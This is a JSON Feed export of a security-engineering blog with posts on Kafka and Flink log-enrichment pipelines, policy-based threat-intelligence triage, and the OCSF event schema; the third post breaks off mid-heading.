{
    "version": "https://jsonfeed.org/version/1",
    "title": "Elias Antoniadis — Security Engineering Blog",
    "home_page_url": "https://eliasa.link/blog/",
    "description": "Security engineering, automation, and data-driven approaches to building systems that scale.",
    "items": [
        {
            "id": "https://eliasa.link/blog/the-log-must-flow/",
            "content_html": "<p><strong>Building a security data pipeline with Kafka and Apache Flink</strong></p>\n<p>My LinkedIn cover photo says \"the log must flow\". It's a reference to <em>Dune</em>, where spice must flow because it powers the Empire's economy: transportation, computation, everything runs on it. Stop the flow and the system stalls.</p>\n<p>Security logs work the same way for security operations. They power detection, investigation, and response. Stop the flow and those stop too.</p>\n<p>That's where the title comes from. What this post is actually about is what \"flow\" should mean for logs in practice.</p>\n<p><img decoding=\"async\" loading=\"lazy\" alt=\"The log must flow\" src=\"https://eliasa.link/assets/images/the_log_must_flow-bb2af7307ea31ab29961d1dc272ec019.jpeg\" width=\"1400\" height=\"350\" class=\"img_ev3q\"></p>\n<p>Logs are generated continuously, consumed by multiple systems, enriched with additional context, transformed into different schemas (or <em>the</em> <a href=\"https://ocsf.io/\" target=\"_blank\" rel=\"noopener noreferrer\" class=\"\">OCSF schema</a> — see <a class=\"\" href=\"https://eliasa.link/blog/why-ocsf-is-awesome/\">Why OCSF is awesome</a>), and eventually used to make security decisions.</p>\n<p>Yet many security architectures still treat logs primarily as something to <strong>store and query</strong>.</p>\n<p>A log arrives.</p>\n<p>It gets indexed.</p>\n<p>Later, someone needs additional context, so they query the stored data, export the results, enrich them, and sometimes write the result somewhere else.</p>\n<p>That works.</p>\n<p>Until the amount of data makes repeated processing expensive, slow, or unnecessarily complicated.</p>\n<p>My argument is simple:</p>\n<p><strong>If a transformation can be performed while the event is flowing through the system, it is often better to do it there than repeatedly after the event has already been stored.</strong></p>\n<p>Kafka gives us the event stream.</p>\n<p>Flink gives us the processing layer.</p>\n<p>The downstream analytics system receives the resulting security data.</p>\n<p>What happens between those stages matters.</p>\n<div class=\"theme-admonition theme-admonition-info admonition_xJq3 alert alert--info\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 14 16\"><path fill-rule=\"evenodd\" d=\"M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z\"></path></svg></span>info</div><div class=\"admonitionContent_BuS1\"><p>Over 100,000 organizations run Kafka, including 80%+ of the Fortune 100. Alibaba processes around 40 billion events/day through Flink; Netflix, Uber, and ING run it too.</p></div></div>\n<hr>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"the-problem-with-processing-everything-after-ingestion\">The problem with processing everything after ingestion<a href=\"https://eliasa.link/blog/the-log-must-flow/#the-problem-with-processing-everything-after-ingestion\" class=\"hash-link\" aria-label=\"Direct link to The problem with processing everything after ingestion\" title=\"Direct link to The problem with processing everything after ingestion\" translate=\"no\">​</a></h2>\n<p>Consider a fairly ordinary network event:</p>\n<div class=\"language-json codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-json codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"timestamp\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"2026-09-06T10:15:42Z\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"src_ip\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"203.0.113.42\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"dst_ip\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"10.10.20.15\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"dst_port\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">443</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"action\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"allowed\"</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><br></div></code></pre></div></div>\n<p>There is useful information here, but there is also information missing.</p>\n<p>For example:</p>\n<ul>\n<li class=\"\">Which ASN is associated with the source IP?</li>\n<li class=\"\">Which organization owns the address?</li>\n<li class=\"\">Which country is it associated with?</li>\n<li class=\"\">Is it known to threat intelligence?</li>\n<li class=\"\">Is the destination asset externally exposed?</li>\n<li class=\"\">Who owns the destination asset?</li>\n</ul>\n<p>Some of this information can be added before the event reaches the downstream analytics system. Some can be added later. The architectural question is where and when that enrichment should happen.</p>\n<p>One possible architecture is:</p>\n<!-- -->\n<p>The problem becomes more obvious when the same enrichment is required by multiple searches. Suppose the same IP appears in thousands of events. If every investigation or scheduled detection independently performs the lookup, the same piece of contextual information gets calculated repeatedly. There is no fundamental reason for that when the enrichment is stable enough to attach to the event earlier in the pipeline.</p>\n<p>This is not unique to SIEMs. Modern analytical systems also provide mechanisms for transforming and enriching data closer to ingestion — Elasticsearch's ingest pipelines and enrich processors, or ClickHouse's materialized views, are two examples.</p>\n<hr>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"from-a-storage-system-to-a-data-flow\">From a storage system to a data flow<a href=\"https://eliasa.link/blog/the-log-must-flow/#from-a-storage-system-to-a-data-flow\" class=\"hash-link\" aria-label=\"Direct link to From a storage system to a data flow\" title=\"Direct link to From a storage system to a data flow\" translate=\"no\">​</a></h2>\n<p>Instead of making the SIEM the center of every operation, we can introduce an intermediate event stream:</p>\n<!-- -->\n<p>Now the event has a lifecycle. It is generated once. Kafka provides the event stream. Flink processes the stream. The downstream system receives the result. The downstream analytics system is no longer required to be the place where every transformation happens.</p>\n<hr>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"why-kafka-and-flink-specifically\">Why Kafka and Flink specifically<a href=\"https://eliasa.link/blog/the-log-must-flow/#why-kafka-and-flink-specifically\" class=\"hash-link\" aria-label=\"Direct link to Why Kafka and Flink specifically\" title=\"Direct link to Why Kafka and Flink specifically\" translate=\"no\">​</a></h2>\n<p>Two properties matter here, and they're the reason this argument leans on Kafka and Flink rather than \"a queue\" and \"a processor\" in the abstract.</p>\n<p><strong>Kafka separates producing an event from processing it, and it keeps events around.</strong> A topic is partitioned, so consumers can process partitions in parallel. The processing layer can scale independently of whatever is generating the events, subject to partition count and processing capacity. Kafka also retains events for a configurable period rather than deleting them on consumption. A processing application can therefore restart without losing its input, and old events can be replayed if the processing logic changes.</p>\n<p><strong>Flink adds state on top of that stream.</strong> Some transformations only need the current event: parse a timestamp, normalize a field. Others need memory. Counting authentication failures for an account within a time window, for example, requires the processor to remember previous events. Flink's keyed state provides that memory, while checkpointing allows state and stream position to recover after a failure.</p>\n<p>That combination — replayable input plus recoverable state — makes it reasonable to put stateful logic in the stream instead of doing it at query time.</p>\n<p>Processing can happen while the event is already moving through the system:</p>\n<!-- -->\n<hr>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"a-security-event-in-motion\">A security event in motion<a href=\"https://eliasa.link/blog/the-log-must-flow/#a-security-event-in-motion\" class=\"hash-link\" aria-label=\"Direct link to A security event in motion\" title=\"Direct link to A security event in motion\" translate=\"no\">​</a></h2>\n<p>Suppose a firewall generates:</p>\n<div class=\"language-json codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-json codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"timestamp\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"2026-09-06T10:15:42Z\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"src_ip\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"203.0.113.42\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"dst_ip\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"10.10.20.15\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"dst_port\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">443</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"action\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"allowed\"</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><br></div></code></pre></div></div>\n<p>It enters Kafka, and Flink consumes it and performs transformations that are useful to downstream consumers: normalize, enrich, correlate.</p>\n<p>The resulting event might look like:</p>\n<div class=\"language-json codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-json codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"timestamp\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"2026-09-06T10:15:42Z\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"src_ip\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"203.0.113.42\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"src_asn\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">64500</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"src_country\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"NL\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"dst_ip\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"10.10.20.15\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"dst_asset\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"web-01\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"dst_owner\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"infra\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"dst_port\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">443</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"action\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"allowed\"</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><br></div></code></pre></div></div>\n<p>The downstream system now receives an event that already contains the context required by multiple consumers. Enrichment happens at a defined processing stage instead of being independently repeated by every consumer that needs the same context.</p>\n<hr>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"enrichment-is-where-the-architecture-becomes-interesting\">Enrichment is where the architecture becomes interesting<a href=\"https://eliasa.link/blog/the-log-must-flow/#enrichment-is-where-the-architecture-becomes-interesting\" class=\"hash-link\" aria-label=\"Direct link to Enrichment is where the architecture becomes interesting\" title=\"Direct link to Enrichment is where the architecture becomes interesting\" translate=\"no\">​</a></h2>\n<p>The repeated-lookup problem above gets more concrete once you look at what a single enrichment actually costs at scale. Suppose the stream contains the same source IP over and over:</p>\n<div class=\"language-text codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-text codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">203.0.113.42</span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">203.0.113.42</span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">203.0.113.42</span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">...</span><br></div></code></pre></div></div>\n<p>A naive implementation would perform an external lookup for every event. There is little value in that when the underlying data — ASN, organization, country — is stable enough to reuse.</p>\n<p>The lookup result needs to be stored somewhere so subsequent events can reuse it: Flink state, an external cache, or another reference-data mechanism, depending on requirements.</p>\n<!-- -->\n<p>The exact implementation depends on the enrichment source and its consistency requirements. For relatively static reference data, caching prevents repeated external requests. For data that changes frequently, the design gets more complicated because a cached enriched event can go stale. Not every enrichment belongs in a streaming pipeline — Elasticsearch's enrich processor, for example, is intended for reference data that doesn't change frequently, for the same reason.</p>\n<hr>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"but-what-about-the-raw-event\">But what about the raw event?<a href=\"https://eliasa.link/blog/the-log-must-flow/#but-what-about-the-raw-event\" class=\"hash-link\" aria-label=\"Direct link to But what about the raw event?\" title=\"Direct link to But what about the raw event?\" translate=\"no\">​</a></h2>\n<p>What happens if your enrichment logic is wrong? What if the enrichment source is unavailable? What if tomorrow you decide that a field you discarded was actually important?</p>\n<p>This is why you shouldn't treat the pipeline as:</p>\n<!-- -->\n<p>A better model is:</p>\n<!-- -->\n<p>The raw stream provides a recovery mechanism. If the processing logic changes, retained events can potentially be replayed through a new version of the processing pipeline, depending on the retention and replay strategy.</p>\n<p>Kafka's model supports reading retained events again rather than treating them as immediately deleted after consumption. Flink's fault-tolerance model also relies on replayable input streams together with checkpoints when recovering stateful applications.</p>\n<p>Retention must be part of the design. If replay matters to you, your system needs enough retained data to make that replay possible.</p>\n<hr>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"backpressure-streaming-does-not-remove-bottlenecks\">Backpressure: streaming does not remove bottlenecks<a href=\"https://eliasa.link/blog/the-log-must-flow/#backpressure-streaming-does-not-remove-bottlenecks\" class=\"hash-link\" aria-label=\"Direct link to Backpressure: streaming does not remove bottlenecks\" title=\"Direct link to Backpressure: streaming does not remove bottlenecks\" translate=\"no\">​</a></h2>\n<p>Moving processing into a stream does not make expensive operations disappear.</p>\n<p>Imagine Kafka pushing 100,000 events/sec into Flink, which then has to call an external enrichment service that can only handle 5,000 requests/sec. That enrichment service is now your bottleneck — the streaming architecture has just made it explicit instead of hiding it behind a dozen independent queries.</p>\n<p>Your processing layer can apply mechanisms such as caching, batching, asynchronous I/O, rate limiting, and controlled concurrency instead of letting every downstream consumer independently overload the same dependency. Those mechanisms have their own trade-offs. Caching introduces freshness considerations. Batching introduces latency. Asynchronous processing introduces concurrency and failure-handling concerns. Rate limiting reduces pressure on the dependency but can increase queue depth.</p>\n<p>Streaming moves processing into a place where throughput, state, and failure behaviour can be explicitly managed. It doesn't make the underlying cost go away.</p>\n<hr>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"this-doesnt-mean-everything-should-be-streaming\">This doesn't mean everything should be streaming<a href=\"https://eliasa.link/blog/the-log-must-flow/#this-doesnt-mean-everything-should-be-streaming\" class=\"hash-link\" aria-label=\"Direct link to This doesn't mean everything should be streaming\" title=\"Direct link to This doesn't mean everything should be streaming\" translate=\"no\">​</a></h2>\n<p>There is a temptation with architectures like this to turn every problem into a Kafka topic and every transformation into a Flink job. That would be a mistake.</p>\n<p>Streaming introduces its own operational complexity: partitioning decisions, state management, schema evolution, backpressure, checkpointing, failure recovery, external dependency failures, monitoring, deployment and upgrades. Reference data also needs careful treatment — an enrichment that changes every few seconds is a poor fit for a mechanism built around relatively static reference data, for the same reason discussed above.</p>\n<p>The question you should ask before adding a streaming component is: does processing this information as it flows provide a meaningful advantage over processing it later? If the answer is no, the component only adds complexity.</p>\n<hr>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"let-the-log-flow\">Let the log flow<a href=\"https://eliasa.link/blog/the-log-must-flow/#let-the-log-flow\" class=\"hash-link\" aria-label=\"Direct link to Let the log flow\" title=\"Direct link to Let the log flow\" translate=\"no\">​</a></h2>\n<p>A SIEM is an important part of a security architecture. But it does not have to be the place where every security-data operation happens.</p>\n<p>When event processing is separated from event storage, Kafka can provide the durable event stream and Flink can provide stateful processing. The downstream analytics system can then consume the processed events for investigation, hunting, detection, and analysis — where the log does not have to wait until someone queries it before becoming useful.</p>",
            "url": "https://eliasa.link/blog/the-log-must-flow/",
            "title": "The Log Must Flow",
            "summary": "Security data pipelines with Kafka and Flink.",
            "date_modified": "2026-09-06T00:00:00.000Z",
            "tags": [
                "security",
                "automation",
                "data-engineering"
            ]
        },
        {
            "id": "https://eliasa.link/blog/security-automation-is-more-than-saving-clicks/",
            "content_html": "<p>When a security analyst investigates an unknown IP address or domain, one of the first steps is often to check it against a threat intelligence provider.</p>\n<p>You can automate that lookup with a button.</p>\n<p>The analyst clicks it, the IOC is sent to the provider, and the result appears in the interface.</p>\n<p>That's useful, but is this a good automation?</p>\n<p>Not really.</p>\n<p>You automated the action, but the analyst still has to make the same decision:</p>\n<p><strong>Is this IOC worth investigating?</strong></p>\n<p>That's where security automation can go further: <strong>instead of automating the action, automate the decision that follows it.</strong></p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"from-actions-to-decisions\">From actions to decisions<a href=\"https://eliasa.link/blog/security-automation-is-more-than-saving-clicks/#from-actions-to-decisions\" class=\"hash-link\" aria-label=\"Direct link to From actions to decisions\" title=\"Direct link to From actions to decisions\" translate=\"no\">​</a></h2>\n<p>Threat intelligence gives you evidence about an IOC, but someone still has to decide what that evidence means.</p>\n<p>A provider might return signals such as confidence in the intelligence, when the activity was observed, and information about the IOC's context.</p>\n<p>The same decision can be represented as a policy.</p>\n<p>For example, a workflow could evaluate:</p>\n<ul>\n<li class=\"\">Whether useful context exists for the IOC</li>\n<li class=\"\">Confidence in the source</li>\n<li class=\"\">How recently and frequently the IOC has been observed</li>\n<li class=\"\">The IOC's environment and threat type</li>\n</ul>\n<div class=\"security-automation-diagram\"></div>\n<div class=\"theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 12 16\"><path fill-rule=\"evenodd\" d=\"M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z\"></path></svg></span>tip</div><div class=\"admonitionContent_BuS1\"><p>This is heavily inspired by <a href=\"https://www.rstcloud.com/how-we-score/\" target=\"_blank\" rel=\"noopener noreferrer\" class=\"\">RST Cloud's TI Scoring</a></p></div></div>\n<p>The workflow can then assign a risk score and compare it against a threshold.</p>\n<p>High-confidence, relevant IOCs can be sent to an analyst. Low-risk IOCs can be recorded or closed automatically.</p>\n<p>The scoring formula matters less than what it replaces: a decision the analyst used to make every time, now encoded once as policy.</p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"dont-blindly-trust-the-provider\">Don't blindly trust the provider<a href=\"https://eliasa.link/blog/security-automation-is-more-than-saving-clicks/#dont-blindly-trust-the-provider\" class=\"hash-link\" aria-label=\"Direct link to Don't blindly trust the provider\" title=\"Direct link to Don't blindly trust the provider\" translate=\"no\">​</a></h2>\n<p>The policy should not blindly trust a single CTI provider.</p>\n<p>External intelligence is one source of evidence. It is not the final answer.</p>\n<p>A provider can have incomplete coverage, stale intelligence, or a different assessment of an IOC than your organization does.</p>\n<p>Your workflow can combine external intelligence with other sources and your own internal context before making the decision.</p>\n<p>That makes the quality of the underlying data part of the automation problem.</p>\n<p>If the data going into the decision is incomplete or unreliable, the automation will make bad decisions consistently and at scale.</p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"security-automation-needs-good-data\">Security automation needs good data<a href=\"https://eliasa.link/blog/security-automation-is-more-than-saving-clicks/#security-automation-needs-good-data\" class=\"hash-link\" aria-label=\"Direct link to Security automation needs good data\" title=\"Direct link to Security automation needs good data\" translate=\"no\">​</a></h2>\n<p>Automated decisions depend on the data behind them.</p>\n<p>Before a decision can be made, security data may need to be collected, normalized, enriched, and correlated so that the policy has the context it needs.</p>\n<p>The better this data pipeline becomes, the more repeatable decisions you can move from the analyst into the system.</p>\n<p>For more on the data layer behind security automation, see <a href=\"https://medium.com/exness-blog/building-a-custom-etl-pipeline-for-security-data-abadd57fdd01\" target=\"_blank\" rel=\"noopener noreferrer\" class=\"\">Building a custom ETL pipeline for security data</a> by Alexander Bolshakov.</p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"automation-should-remove-decisions\">Automation should remove decisions<a href=\"https://eliasa.link/blog/security-automation-is-more-than-saving-clicks/#automation-should-remove-decisions\" class=\"hash-link\" aria-label=\"Direct link to Automation should remove decisions\" title=\"Direct link to Automation should remove decisions\" translate=\"no\">​</a></h2>\n<p>Simple button automation still saves time and reduces friction.</p>\n<p>But the larger opportunity is removing work that requires the analyst to make the same judgment repeatedly.</p>\n<p>Instead of spending the day checking IOCs and deciding which ones deserve attention, the analyst gets a smaller set of cases that crossed the policy threshold.</p>\n<p>The clicks disappear first.</p>\n<p>The real gain comes when the routine decisions disappear with them.</p>",
            "url": "https://eliasa.link/blog/security-automation-is-more-than-saving-clicks/",
            "title": "Security Automation Is More Than Saving Clicks",
            "summary": "Why effective security automation should eliminate repeatable decisions, not just repetitive manual actions.",
            "date_modified": "2026-08-23T00:00:00.000Z",
            "tags": [
                "security",
                "automation",
                "data-engineering"
            ]
        },
        {
            "id": "https://eliasa.link/blog/why-ocsf-is-awesome/",
            "content_html": "<p>Security products have a common problem: they generate data about the same things, but they rarely describe those things in the same way.</p>\n<p>Take authentication.</p>\n<p>Okta, GCP, a VPN, AWS, and an endpoint agent can all tell you that a user tried to log in. But each product can structure that event differently.</p>\n<p>For you, that means every new source becomes another parser, another mapping, and another special case in detection logic.</p>\n<p><a href=\"https://ocsf.io/\" target=\"_blank\" rel=\"noopener noreferrer\" class=\"\">OCSF</a> — the Open Cybersecurity Schema Framework — gives you a common model for these events.</p>\n<p>My argument is simple:</p>\n<blockquote>\n<p><strong>OCSF is useful because it gives security data a common semantic contract between producers and consumers.</strong></p>\n</blockquote>\n<p><img decoding=\"async\" loading=\"lazy\" alt=\"Why OCSF is awesome\" src=\"https://eliasa.link/assets/images/ocsf-52127ea12b71da3148660a6294c61c0f.png\" width=\"1024\" height=\"475\" class=\"img_ev3q\"></p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"the-problem-is-bigger-than-parsing-json\">The problem is bigger than parsing JSON<a href=\"https://eliasa.link/blog/why-ocsf-is-awesome/#the-problem-is-bigger-than-parsing-json\" class=\"hash-link\" aria-label=\"Direct link to The problem is bigger than parsing JSON\" title=\"Direct link to The problem is bigger than parsing JSON\" translate=\"no\">​</a></h2>\n<p>Suppose you want to detect this:</p>\n<blockquote>\n<p>A user has several failed authentication attempts and then successfully authenticates from an unusual IP address.</p>\n</blockquote>\n<p>The detection logic is straightforward. The annoying part is getting the data into a form where the detection can actually work.</p>\n<p>Without normalization, you end up with something like:</p>\n<!-- -->\n<p>Then the detection has to know about all of them. Add another identity provider and you potentially have to modify the detection.</p>\n<p>The identity provider should be responsible for producing its event. The ingestion layer should handle the mapping. The detection should care about authentication, not about which vendor produced the event.</p>\n<p>OCSF gives you a common contract at that boundary:</p>\n<!-- -->\n<div class=\"theme-admonition theme-admonition-info admonition_xJq3 alert alert--info\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 14 16\"><path fill-rule=\"evenodd\" d=\"M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z\"></path></svg></span>info</div><div class=\"admonitionContent_BuS1\"><ul>\n<li class=\"\">OCSF launched in August 2022, founded by Splunk, AWS, IBM, and 15 other companies.</li>\n<li class=\"\">By the 1.0 release in August 2023, it had grown eightfold to over 145 contributing organizations.</li>\n<li class=\"\">It's Apache 2.0 licensed and not owned by any single vendor.</li>\n</ul></div></div>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"what-does-an-ocsf-authentication-event-actually-look-like\">What does an OCSF authentication event actually look like?<a 